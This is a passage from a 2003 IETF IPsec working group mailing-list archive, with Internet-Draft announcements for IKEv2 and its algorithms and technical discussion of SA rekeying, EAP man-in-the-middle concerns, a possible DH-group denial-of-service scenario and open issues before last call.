Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ipsec-ikev2-algorithms-03.txt Date: Mon, 18 Aug 2003 11:14:33 -0400 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Security Protocol Working Group of the IETF. Title : Cryptographic Algorithms for use in the Internet Key Exchange Version 2 Author(s) : J. Schiller Filename : draft-ietf-ipsec-ikev2-algorithms-03.txt Pages : 5 Date : 2003-8-18 The IPSec series of protocols makes use of various cryptographic algorithms in order to provide security services. The Internet Key Exchange (IKE [RFC2409] and IKEv2 [IKEv2]) provide a mechanism to negotiate which algorithms should be used in any even association. However to ensure interoperability between disparate implementations it is necessary to specify a set of mandatory to implement algorithms to ensure at least one algorithm that all implementations will have available. This document defines the current set of mandatory to implement algorithms for use of IKEv2 as well as specifying algorithms that should be implemented because they made be promoted to mandatory at some future time. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipsec-ikev2-algorithms-03.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipsec-ikev2-algorithms-03.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipsec-ikev2-algorithms-03.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2003-8-18112752.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ipsec-ikev2-algorithms-03.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ipsec-ikev2-algorithms-03.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2003-8-18112752.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ipsec@lists.tislabs.com Mon Aug 18 10:55:26 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7IHtPqt019842; Mon, 18 Aug 2003 10:55:26 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id NAA02148 Mon, 18 Aug 2003 13:19:04 -0400 (EDT) Message-Id: <200308181514.LAA22244@ietf.org> To: IETF-Announce: ; Cc: ipsec@lists.tislabs.com From: Internet-Drafts@ietf.org Reply-To: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ipsec-ikev2-algorithms-03.txt Date: Mon, 18 Aug 2003 11:14:33 -0400 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="MIMEStream=_0+33743_28646386356125_02438850648" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk --MIMEStream=_0+33743_28646386356125_02438850648 A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Security Protocol Working Group of the IETF. Title : Cryptographic Algorithms for use in the Internet Key Exchange Version 2 Author(s) : J. Schiller Filename : draft-ietf-ipsec-ikev2-algorithms-03.txt Pages : 5 Date : 2003-8-18 The IPSec series of protocols makes use of various cryptographic algorithms in order to provide security services. The Internet Key Exchange (IKE [RFC2409] and IKEv2 [IKEv2]) provide a mechanism to negotiate which algorithms should be used in any even association. However to ensure interoperability between disparate implementations it is necessary to specify a set of mandatory to implement algorithms to ensure at least one algorithm that all implementations will have available. This document defines the current set of mandatory to implement algorithms for use of IKEv2 as well as specifying algorithms that should be implemented because they made be promoted to mandatory at some future time. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipsec-ikev2-algorithms-03.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipsec-ikev2-algorithms-03.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipsec-ikev2-algorithms-03.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --MIMEStream=_0+33743_28646386356125_02438850648 Content-Type: Multipart/Alternative; boundary="MIMEStream=_1+166822_0253450726131_07263095297" --MIMEStream=_1+166822_0253450726131_07263095297 Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2003-8-18112752.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ipsec-ikev2-algorithms-03.txt --MIMEStream=_1+166822_0253450726131_07263095297 Content-Type: Message/External-body; name="draft-ietf-ipsec-ikev2-algorithms-03.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2003-8-18112752.I-D@ietf.org> --MIMEStream=_1+166822_0253450726131_07263095297-- --MIMEStream=_0+33743_28646386356125_02438850648-- ------- From owner-ipsec@lists.tislabs.com Mon Aug 18 10:58:58 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7IHwwqt020006; Mon, 18 Aug 2003 10:58:58 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id NAA02135 Mon, 18 Aug 2003 13:18:41 -0400 (EDT) Message-Id: <200308181514.LAA22259@ietf.org> To: IETF-Announce: ; Cc: ipsec@lists.tislabs.com From: Internet-Drafts@ietf.org Reply-To: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ipsec-ikev2-10.txt Date: Mon, 18 Aug 2003 11:14:38 -0400 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="MIMEStream=_0+262632_322548235925_886807099994" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk --MIMEStream=_0+262632_322548235925_886807099994 A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Security Protocol Working Group of the IETF. Title : Internet Key Exchange (IKEv2) Protocol Author(s) : C. Kaufman Filename : draft-ietf-ipsec-ikev2-10.txt Pages : 99 Date : 2003-8-18 This document describes version 2 of the Internet Key Exchange (IKE) protocol. IKE is a component of IPsec used for performing mutual authentication and establishing and maintaining security associations. This version of the IKE specification combines the contents of what were previously separate documents, including ISAKMP (RFC 2408), IKE (RFC 2409), the Internet DOI (RFC 2407), NAT Traversal, Legacy authentication, and remote address acquisition. Version 2 of IKE does not interoperate with version 1, but it has enough of the header format in common that both versions can unambiguously run over the same UDP port. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipsec-ikev2-10.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipsec-ikev2-10.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipsec-ikev2-10.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --MIMEStream=_0+262632_322548235925_886807099994 Content-Type: Multipart/Alternative; boundary="MIMEStream=_1+21985_85547255247090_48069736344" --MIMEStream=_1+21985_85547255247090_48069736344 Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2003-8-18112801.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ipsec-ikev2-10.txt --MIMEStream=_1+21985_85547255247090_48069736344 Content-Type: Message/External-body; name="draft-ietf-ipsec-ikev2-10.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2003-8-18112801.I-D@ietf.org> --MIMEStream=_1+21985_85547255247090_48069736344-- --MIMEStream=_0+262632_322548235925_886807099994-- ------- From owner-ipsec@lists.tislabs.com Mon Aug 18 12:07:01 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7IJ71qt023143; Mon, 18 Aug 2003 12:07:01 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id OAA02958 Mon, 18 Aug 2003 14:21:20 -0400 (EDT) Date: Mon, 18 Aug 2003 11:25:32 -0700 From: Nicolas Williams To: ipsec@lists.tislabs.com Cc: Mike Eisler Subject: IKEv2 SA rekeying - naming an initial SA Message-ID: <20030818182532.GF27057@binky.central.sun.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i Sender: owner-ipsec@lists.tislabs.com Precedence: bulk I'm glad to see that there is some SA rekeying functionality in IKEv2 that is somewhat like the rekeying functionality in SSHv2, that is, that a new SA can be established under the protection of and bound to a previous (still live) SA. Now, if only there was a concept similar to the SSHv2 session ID. (Or is it there and I just missed it?) If there is no IKEv2 equivalent to the SSHv2 session ID, I would like to have one defined. We have a need for a way to name a [transport mode] SA and its rekeyed replacements where the name is cryptographically bound to the initial SA key exchange. See: http://www.ietf.org/internet-drafts/draft-ietf-nfsv4-ccm-01.txt (and please note that we already know that sections 5.1 and 5.2 of draft-ietf-nfsv4-ccm-01.txt are wrong.) Thanks, Nico -- From owner-ipsec@lists.tislabs.com Mon Aug 18 12:12:29 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7IJCTqt023370; Mon, 18 Aug 2003 12:12:29 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id OAA03184 Mon, 18 Aug 2003 14:34:34 -0400 (EDT) Mime-Version: 1.0 X-Sender: phoffvpnc@mail.vpnc.org Message-Id: X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . Date: Mon, 18 Aug 2003 11:41:50 -0700 To: ipsec@lists.tislabs.com From: Paul Hoffman / VPNC Subject: Unfixed errors and issues in draft-ietf-ipsec-ikev2-algorithms-03.txt Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Greetings again. The latest version of the IKEv2 algorithms document still has significant errors and issues that were pointed out earlier but not fixed. The WG discussion made it clear that the algorithms document should only list strong cryptography that is expected to widely used. - There is still a definition for "SHOULD-" even though it not used as a designator in the document. - PRF_HMAC_TIGER is given a value even though it is wholly unused in the real world in IKEv1. - AUTH_DES_MAC and AUTH_KPDK_MD5 are listed even though few (if any!) implementations of IKEv1 have them. Further, the reference for AUTH_KPDK_MD5 seems bogus. Also, as a nit, there are many references missing. --Paul Hoffman, Director --VPN Consortium From owner-ipsec@lists.tislabs.com Mon Aug 18 13:58:54 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7IKwrqt026910; Mon, 18 Aug 2003 13:58:53 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id QAA04203 Mon, 18 Aug 2003 16:15:50 -0400 (EDT) Message-ID: <3F4135CF.6030106@creeksidenet.com> Date: Mon, 18 Aug 2003 16:23:43 -0400 From: "jpickering@creeksidenet.com" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; m18) Gecko/20001108 Netscape6/6.0 X-Accept-Language: en MIME-Version: 1.0 To: "Theodore Ts'o" CC: ipsec@lists.tislabs.com, byfraser@cisco.com, housley@vigilsec.com, smb@research.att.com, kivinen@ssh.fi Subject: Re: The remaining IKEv2 issues References: Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk I must have missed the resolution on issue 64, can someone remind me of the resolution and rationale? Thanks, Jeff Theodore Ts'o wrote: > Last week on August 12, Angelos posted a status of the remaining issues > reamining open on the IKEv2 document at the end of wg last call, and > thos that were closed as of the -09 document. The only comments made to > Angelos' issues were some editorial nits raised by Abraham Shacham, > which were recorded in the issue tracker as issue #66. > > Of the remaining issues left open per Angelos' message of August 12: > > 1: (Rekeyed SA use) > 7: (Fragmentation negotiation (before/after IPsec processing) > 10: (NAT Traversal support) > 16: (Negotiate ToS in IKEv2) > 41: (NAT traversal missing text) > 55: (ICMP fields as selectors ?) > 64: (Use the SPI of SA being rekeyed in a notify payload during rekey) > 65: (EAP) > > Issues 1, 10, 41, 55, and 64 were actually addressed in the -09, but had > not been marked as closed. > > Of the remaining three issues: > > 7: (Fragmentation negotiation (before/after IPsec processing) > 16: (Negotiate ToS in IKEv2) > 65: (EAP) > > There does not seem to be consensus for issue #7, and this is something > which can be added later as an extension to IKE if and when there is > consensus. Nor does it seem that the lack the ability to do red side > fragmentation (and the ability to forbid black side fragmentation) to be > a fundemental lack in the IKEv2 specification. (Indeed, it has been > pointed out that the transmitter can not guarantee that other gateways > might fragmented encrypted packets, and that this situation might change > dynamically as routing changes.) > > Issue #16 is something which has yet to be discussed as part of the RFC > 2401-bis discussion. As we discussed earlier, if we came to consensus > before this document exited IETF last call, subject to AD approval, we > could add the necessary text to support TOS selectors to the IKE > specification. (The IKEv2 specification has a dependency on RFC > 2401-bis, so it can't be published by the RFC editor until we finish RFC > 2401-bis anyway.) Alternatively, if we do not come to consensus, > support for TOS selectors can be added in a subsequent document easily > enough. > > The final issue #65, concerns whether or not non key-generating EAP > methods should be supported, in order to avoid a Man-in-the-middle > attack (MITM) attack. However, as Charlie has pointed out, as used in > IKEv2, the server is authenticated with a certificate before the > authentication code is passed. In addition, given the requirement to > support one-time password and Generic Token cards, we can not forbid the > use of non-kg EAP schemes. Hence, given that the MITM attack which was > the concern raised by issue #65 is not an issue for IKEv2, we believe > that this is not something that should hold back the publication of > IKEv2 as a Proposed Standard. > > Charlie has just put out the -10 version of the IKEv2 document, which > addresses the editorial nits which were raised by Abraham Shacham and > others after -09 was released. With these issues closed (or as closed > as they are going to be), we believe that the -10 version is ready for > IETF last call, once it the -10 version has been processed by the IETF > secretariat. > > - Ted and Barbara > > > From owner-ipsec@lists.tislabs.com Mon Aug 18 14:00:15 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7IL0Eqt026980; Mon, 18 Aug 2003 14:00:14 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id QAA04180 Mon, 18 Aug 2003 16:12:14 -0400 (EDT) Message-ID: <3F4134CC.DFD222F@cisco.com> Date: Mon, 18 Aug 2003 13:19:24 -0700 From: Tom Hu X-Mailer: Mozilla 4.79 [en]C-CCK-MCD (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ipsec wg Subject: IKEv2 INFO exchange question??? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hi all, I have question regarding to INFO exchange. If the responder receives AUTH payload with piggyback SA, and the responder found a bad SA (or TS), it looks like the AUTH with N(notification) is the only choice to notify the Initiator by the responder. If not, the responder sends INFO notify instead, the Initiator can not handle this notification because the initiator does not auth the responder yet. Is it a correct statement? In the draft, it says the INFO exchange only and must occurrs after initial exchange (after 4th message) no matter it is piggyback exchange or not. The only exception is that "Invalid SPI" notification can be sent in the any state when you lost the track of sa. Is any other exception ?. Thanks, Tom Hu From owner-ipsec@lists.tislabs.com Mon Aug 18 14:14:55 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7ILEsqt027486; Mon, 18 Aug 2003 14:14:54 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id QAA04306 Mon, 18 Aug 2003 16:31:36 -0400 (EDT) Message-ID: <3F413956.4E35A393@cisco.com> Date: Mon, 18 Aug 2003 13:38:46 -0700 From: Tom Hu X-Mailer: Mozilla 4.79 [en]C-CCK-MCD (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ipsec wg Subject: Initiator exposes DOS attack for IKEv2? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hi all, Hopefully, I do not misunderstand the draft in this DOS attack scenario. Welcome any input. Assume Initiator creates the Diffe-Herman group x public key and sends the KE payload to the responder in the IKE_SA_INIT exchange. The responder does not like this group x DH. It should response back with "INVLID_KE_PAYLOAD" indicating the corrected DH group (see 2.7). Since IKE_SA_INIT exchange is clear text exchange, there is a possible the third party acts as the responder to reply this "INVALID _KE_PAYLOAD" for each initiator' request. This causes the initiator continues changing the DH group and re-send the KE payload that the responder wants. We know DH calculation is very CPU-intensive. Initiator system can have very bad DOS attack by this scenario. Any comment? Thanks, Tom Hu From owner-ipsec@lists.tislabs.com Mon Aug 18 14:40:34 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7ILeXqt028084; Mon, 18 Aug 2003 14:40:33 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id QAA04491 Mon, 18 Aug 2003 16:57:01 -0400 (EDT) To: ipsec@lists.tislabs.com Subject: Re: The remaining IKEv2 issues In-reply-to: Your message of "Mon, 18 Aug 2003 13:18:33 EDT." Mime-Version: 1.0 (generated by tm-edit 1.8) Content-Type: text/plain; charset=US-ASCII Date: Mon, 18 Aug 2003 17:04:36 -0400 Message-ID: <20934.1061240676@marajade.sandelman.ottawa.on.ca> From: Michael Richardson Sender: owner-ipsec@lists.tislabs.com Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "Theodore" == Theodore Ts'o writes: Theodore> The final issue #65, concerns whether or not non key-generating Theodore> EAP methods should be supported, in order to avoid a Theodore> Man-in-the-middle attack (MITM) attack. However, as Charlie Theodore> has pointed out, as used in IKEv2, the server is authenticated Theodore> with a certificate before the authentication code is passed. My understanding of the MITM attack on non key-generating EAP methods is that nothing we do in IKEv2 prevents this. This is because the attack is not between two IPsec devices, but between different kinds of devices. I.e. you do key-less EAP with a web server as part of HTTPS, and the *web server* then does key-less EAP IKE2, acting a kind of nefarious algorithm proxy. We demand that each end know the generated EAP key so that we can bind the key to the authenticator used. The above web server wouldn't know the generated key, so the attack is defeated. Theodore> In addition, given the requirement to support one-time password Theodore> and Generic Token cards, we can not forbid the use of non-kg Theodore> EAP schemes. Hence, given that the MITM attack which was the Theodore> concern raised by issue #65 is not an issue for IKEv2, we Theodore> believe that this is not something that should hold back the Theodore> publication of IKEv2 as a Proposed Standard. So, the only way to support these kind of things is by using EAP? I'm not complaining, I'm just asking for confirmation. Theodore> closed (or as closed as they are going to be), we believe that Theodore> the -10 version is ready for IETF last call, once it the -10 Theodore> version has been processed by the IETF secretariat. wow. ] Out and about in Ottawa. hmmm... beer. | firewalls [ ] Michael Richardson, Sandelman Software Works, Ottawa, ON |net architect[ ] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[ ] panic("Just another Debian/notebook using, kernel hacking, security guy"); [ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) Comment: Finger me for keys - custom hacks make this fully PGP2 compat iQCVAwUBP0E/Y4qHRg3pndX9AQFXWgQA0qqnN3niE1NQOXNOPKxhsGxRodzaQmpc ko6m3StDaQzbsB4v9TEOGa5KRcQXeNCoYcDn6ZeHeN5C2qkv4V8PpWajMNUr35mL c49sz8Yjse8VlIJ+snX8KONC3pAH5H/dnqbZ5JV0y62JA7WWSfgvDXcoNBW6hHzE M81ks/EmnRA= =f8LX -----END PGP SIGNATURE----- From owner-ipsec@lists.tislabs.com Mon Aug 18 14:40:35 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7ILeYqt028085; Mon, 18 Aug 2003 14:40:34 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id RAA04518 Mon, 18 Aug 2003 17:00:35 -0400 (EDT) To: Nicolas Williams cc: ipsec@lists.tislabs.com, Mike Eisler Subject: Re: IKEv2 SA rekeying - naming an initial SA In-reply-to: Your message of "Mon, 18 Aug 2003 11:25:32 PDT." <20030818182532.GF27057@binky.central.sun.com> Mime-Version: 1.0 (generated by tm-edit 1.8) Content-Type: text/plain; charset=US-ASCII Date: Mon, 18 Aug 2003 17:08:08 -0400 Message-ID: <21027.1061240888@marajade.sandelman.ottawa.on.ca> From: Michael Richardson Sender: owner-ipsec@lists.tislabs.com Precedence: bulk >>>>> "Nicolas" == Nicolas Williams writes: Nicolas> I'm glad to see that there is some SA rekeying functionality in Nicolas> IKEv2 that is somewhat like the rekeying functionality in SSHv2, Nicolas> that is, that a new SA can be established under the protection Nicolas> of and bound to a previous (still live) SA. Nicolas> Now, if only there was a concept similar to the SSHv2 session Nicolas> ID. (Or is it there and I just missed it?) I'd like to see such a thing as well. ] Out and about in Ottawa. hmmm... beer. | firewalls [ ] Michael Richardson, Sandelman Software Works, Ottawa, ON |net architect[ ] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[ ] panic("Just another Debian/notebook using, kernel hacking, security guy"); [ From owner-ipsec@lists.tislabs.com Mon Aug 18 15:19:48 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7IMJmqt029390; Mon, 18 Aug 2003 15:19:48 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id RAA04807 Mon, 18 Aug 2003 17:37:04 -0400 (EDT) Date: Mon, 18 Aug 2003 14:40:40 -0700 From: Nicolas Williams To: Michael Richardson Cc: ipsec@lists.tislabs.com, Mike Eisler Subject: Re: IKEv2 SA rekeying - naming an initial SA Message-ID: <20030818214040.GH27057@binky.central.sun.com> References: <20030818182532.GF27057@binky.central.sun.com> <21027.1061240888@marajade.sandelman.ottawa.on.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <21027.1061240888@marajade.sandelman.ottawa.on.ca> User-Agent: Mutt/1.4i Sender: owner-ipsec@lists.tislabs.com Precedence: bulk On Mon, Aug 18, 2003 at 05:08:08PM -0400, Michael Richardson wrote: > > >>>>> "Nicolas" == Nicolas Williams writes: > Nicolas> I'm glad to see that there is some SA rekeying functionality in > Nicolas> IKEv2 that is somewhat like the rekeying functionality in SSHv2, > Nicolas> that is, that a new SA can be established under the protection > Nicolas> of and bound to a previous (still live) SA. > > Nicolas> Now, if only there was a concept similar to the SSHv2 session > Nicolas> ID. (Or is it there and I just missed it?) > > I'd like to see such a thing as well. Perhaps a quantity derived from SK_d and the SPIs of the initial IKE_SA, or from SKEYSEED and the SPIs of the initial IKE_SA. Perhaps it would be useful generally to include AUTH or other material pertaining to authentication in the derivation, but for use with CCM (the proposed GSS-API mechanism, not the cipher mode) that is not necessary. Background: The Channel Conjunction Mechanism (CCM) is a GSS-API pseudo-mechanism for negotiating the use of GSS-API channel bindings and the non-use of session cryptographic protection at the application/GSS-API layer because a lower layer provides acceptable session protection. Thus, if the GSS-API initiator and acceptor have the same channel bindings to a lower layer session (e.g., an SSHv2 session, or an IKEv2 SA) and a GSS security context bound to those channel bindings, and if these channel bindings are derived from a key exchange involving DH, then there is no MITM and the GSS-API need not provide any session cryptographic protection. Summary: Authentication at one layer (application/GSS-API) bound to secure sessions at a lower layer (IPsec). See the NFSv4 list's archives from last December through May or so for more information, including expected performance savings from using the CCM GSS-API mechanism in conjunction with secure transports. Cheers, Nico -- From owner-ipsec@lists.tislabs.com Mon Aug 18 15:30:58 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7IMUwqt029658; Mon, 18 Aug 2003 15:30:58 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id RAA04968 Mon, 18 Aug 2003 17:54:03 -0400 (EDT) Cc: ipsec@lists.tislabs.com Message-ID: <3F414CA0.1090105@lucent.com> Date: Mon, 18 Aug 2003 18:01:04 -0400 From: Uri Blumenthal Organization: Lucent Technologies / Bell Labs User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 (CK-LucentTPES) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Michael Richardson Original-CC: ipsec@lists.tislabs.com Subject: Re: The remaining IKEv2 issues References: <20934.1061240676@marajade.sandelman.ottawa.on.ca> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 > Theodore> The final issue #65, concerns whether or not non > key-generating > Theodore> EAP methods should be supported, in order to avoid a > Theodore> Man-in-the-middle attack (MITM) attack. However, as > Charlie > Theodore> has pointed out, as used in IKEv2, the server is > authenticated > Theodore> with a certificate before the authentication code is > passed. > > My understanding of the MITM attack on non key-generating EAP > methods is that nothing we do in IKEv2 prevents this. This is > because the attack is not between two IPsec devices, but between > different kinds of devices... I concur. > We demand that each end know the generated EAP key so that we can > bind the key to the authenticator used. The above web server > wouldn't know the generated key, so the attack is defeated. I strongly believe that non key-generating methods must not be allowed, period. Regarding "special auth" methods - see below. > Theodore> In addition, given the requirement to support > one-time password > Theodore> and Generic Token cards, we can not forbid the use of > non-kg > Theodore> EAP schemes.... > > So, the only way to support these kind of things is by using EAP? > I'm not complaining, I'm just asking for confirmation. Probably - but these methods don't have to be non-kg. They may contribute, even though not much - to the kg procedure. Why not? -----BEGIN PGP SIGNATURE----- Version: PGP 8.0.2 iQA/AwUBP0FMmLaoikcyvR59EQISdgCgvxwd4Ss9q242AH3BnCd2mMn3z8UAoMPd hKEX0AyngXQ7w9SZjAItGcWq =aWob -----END PGP SIGNATURE----- From owner-ipsec@lists.tislabs.com Mon Aug 18 17:05:51 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7J05oqt032806; Mon, 18 Aug 2003 17:05:50 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id TAA05670 Mon, 18 Aug 2003 19:23:22 -0400 (EDT) To: Nicolas Williams cc: ipsec@lists.tislabs.com, Mike Eisler Subject: Re: IKEv2 SA rekeying - naming an initial SA In-reply-to: Your message of "Mon, 18 Aug 2003 14:40:40 PDT." <20030818214040.GH27057@binky.central.sun.com> Mime-Version: 1.0 (generated by tm-edit 1.8) Content-Type: text/plain; charset=US-ASCII Date: Mon, 18 Aug 2003 19:30:53 -0400 Message-ID: <9959.1061249453@marajade.sandelman.ottawa.on.ca> From: Michael Richardson Sender: owner-ipsec@lists.tislabs.com Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "Nicolas" == Nicolas Williams writes: Nicolas> Now, if only there was a concept similar to the SSHv2 session Nicolas> ID. (Or is it there and I just missed it?) >> I'd like to see such a thing as well. Nicolas> Perhaps a quantity derived from SK_d and the SPIs of the initial 